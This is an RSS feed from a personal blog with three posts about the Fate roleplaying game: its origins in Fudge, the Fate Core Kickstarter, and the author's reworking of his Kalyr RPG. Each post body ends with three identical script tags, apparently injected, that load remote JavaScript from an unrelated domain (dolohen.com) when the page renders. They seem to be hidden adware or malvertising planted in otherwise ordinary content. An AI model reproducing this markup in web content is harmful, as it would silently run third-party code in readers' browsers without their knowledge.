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	<title>Where Worlds Collide &#187; Fate</title>
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	<link>http://www.kalyr.co.uk/weblog</link>
	<description>The blogs of Tim Hall</description>
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		<title>15 Years of FATE</title>
		<link>http://www.kalyr.co.uk/weblog/sf-and-gaming/games/15-years-of-fate/</link>
		<comments>http://www.kalyr.co.uk/weblog/sf-and-gaming/games/15-years-of-fate/#comments</comments>
		<pubDate>Wed, 13 Jan 2016 19:47:34 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Games]]></category>
		<category><![CDATA[Fate]]></category>
		<category><![CDATA[Fudge]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=14468</guid>
		<description><![CDATA[A tweet from Rob Donoghue was a reminder that it's been almost fifteen years since he and Fred Hicks published the first edition of FATE as a free download. <a href="http://www.kalyr.co.uk/weblog/sf-and-gaming/games/15-years-of-fate/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>A tweet from <a href="http://twitter.com/rdonoghue" target="_blank">Rob Donoghue</a> was a reminder that it&#8217;s been almost fifteen years since he and Fred Hicks published the first edition of FATE as a free download.</p>
<p>Around that time there was a lot of discussion in the Fudge community on how to take the system forward, as more people tried pushing the envelope and starting hitting the limitations of Steffan O&#8217;Sullvan&#8217;s original design. At one point there was an attempt to create a next-generation Fudge by committee on the official mailing list. But it very rapidly got bogged down in fruitless arguments about what the standard attributes should be, and went nowhere.</p>
<p>It became obvious that what was needed needed was for one or two people with a clear and coherent vision to make their version of Fudge without interference from anyone else&#8217;s competing hobby-horses and sacred cows. Rob Donoghue and Fred Hicks went ahead and did this.</p>
<p>FATE addressed what for me had been one of Fudge&#8217;s biggest weaknesses, the ambiguous relationship between attributes and skills, something that was nevertheless a sacred cow for many in the community. But the very clever and elegant Aspects mechanic ended up more as a superior replacement for Fudge&#8217;s Gifts and Faults, and attributes were instead folded into skills. Skills became broad areas of competency, limited in number, thus avoiding the skills-bloat that bedevilled systems like GURPS. It really is a clean and elegant design, devoid of obvious cruft.</p>
<p>FATE has itself now gone through several iterations, but it has effectively become the next generation of Fudge we wanted fifteen years ago. It hasn&#8217;t entirely replaced Fudge, which is still out there and still has its adherents, but FATE, with its high profile licences has broken through to the gaming mainstream in a way Fudge never quite managed.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
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		<title>Fate Core</title>
		<link>http://www.kalyr.co.uk/weblog/sf-and-gaming/games/fate-core/</link>
		<comments>http://www.kalyr.co.uk/weblog/sf-and-gaming/games/fate-core/#comments</comments>
		<pubDate>Sat, 29 Dec 2012 14:40:05 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Games]]></category>
		<category><![CDATA[Evil Hat]]></category>
		<category><![CDATA[Fate]]></category>
		<category><![CDATA[Kickstarter]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=5725</guid>
		<description><![CDATA[Just as crowdfunding has revolutionised the independent music sector, it's been having a similar effect on the world of roleplaying games. Most recently, Evil Hat Productions' Kickstarter for Fate Core has been a runaway success, reaching it's initial target within hours, then hitting stretch goal after stretch goal. <a href="http://www.kalyr.co.uk/weblog/sf-and-gaming/games/fate-core/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-5726" title="Fate Core" src="http://www.kalyr.co.uk/weblog/wp-content/uploads/2012/12/FateCoreCharacterSheet.jpg" alt="" width="600" height="326" />Just as crowdfunding has revolutionised the independent music sector, it&#8217;s been having a similar effect on the world of roleplaying games. Most recently, <a href="http://www.evilhat.com/home/">Evil Hat Productions</a>&#8216; Kickstarter for <a href="http://www.kickstarter.com/projects/evilhat/fate-core/">Fate Core</a> has been a runaway success, reaching it&#8217;s initial target within hours, then hitting stretch goal after stretch goal.</p>
<p>Fate has to be one of the most revolutionaly pencil-and-paper game engines to be developed over the past decade or so. It grew out of Fudge, with &#8220;Aspects&#8221; as a very elegant mechanic improving on what I felt were Fudge&#8217;s weaknesses. Games such as the two-fisted pulp action <em>Spirit of the Century, </em>the hard-SF space opera of <em>Diaspora</em>, and the licenced monster-mash urban fantasy of<em> Dresden Files</em> built on Fate&#8217;s core engine adding new mechanics and game tools to support many genres and styles of play. It developed the so-called &#8220;Fate Fractal&#8221;, in which everything from equipment to an entire nation can be modelled as a character. Fate Core aims to be an improved and streamlined core engine on which the next generation of Fate games can be built.</p>
<p>Pledge just a quid (although most people seem to have pledged far more than this) in order to get the finished printed book), and you can download the current laid-out version of the core rules. No art, and some details may be tweaked for the final release, but it&#8217;s a complete game.</p>
<p>If Fate is your sort of game, and you haven&#8217;t contributed yet, what are you waiting for?<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
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		<title>Whatever Happened to the Kalyr RPG?</title>
		<link>http://www.kalyr.co.uk/weblog/sf-and-gaming/kalyr-rpg/whatever-happened-to-the-kalyr-rpg/</link>
		<comments>http://www.kalyr.co.uk/weblog/sf-and-gaming/kalyr-rpg/whatever-happened-to-the-kalyr-rpg/#comments</comments>
		<pubDate>Sun, 05 Sep 2010 11:52:38 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Kalyr RPG]]></category>
		<category><![CDATA[Fate]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=2400</guid>
		<description><![CDATA[A while ago, I started work on a Fudge-based RPG using my science-fantasy Kalyr setting. It got to the point where I had most of the first draft written, and got as far as playtesting it. But there were one &#8230; <a href="http://www.kalyr.co.uk/weblog/sf-and-gaming/kalyr-rpg/whatever-happened-to-the-kalyr-rpg/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>A while ago, I started work on a Fudge-based RPG using my science-fantasy Kalyr setting.  It got to the point where I had most of the first draft written, and  got as far as playtesting it.  But there were one of two elements I&#8217;ve was never quite 100% happy with. Things have gone so quiet you&#8217;re either wondering what happened to it, or else you have no idea what I&#8217;m talking about.</p>
<p>Over the past couple of years, Fate has really taken off in a way I hadn&#8217;t anticipated when I started work on the game.  While <a href="http://www.evilhat.com/home/sotc/">Spirit of the Century</a> justifiably won awards back in 2005, the more recent success of games like <a href="http://www.vsca.ca/Diaspora/">Diaspora</a> and more recently <a href="http://www.dresdenfilesrpg.com/">The Dresden Files RPG</a> have made me realise that what I&#8217;ve been trying to do is insufficiently different from an implementation of Fate to be able to justify the game not being a Fate game.</p>
<p>So it&#8217;s back to the drawing board.  Well, not quite, the setting material doesn&#8217;t change, and there are certainly significant parts of the rules chapters I can salvage and rework. The challenge is to find a way to streamline Fate so that it works well in a PBeM context with a much simplified and compressed turn sequence.  I&#8217;ve got some ideas, so watch this space.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
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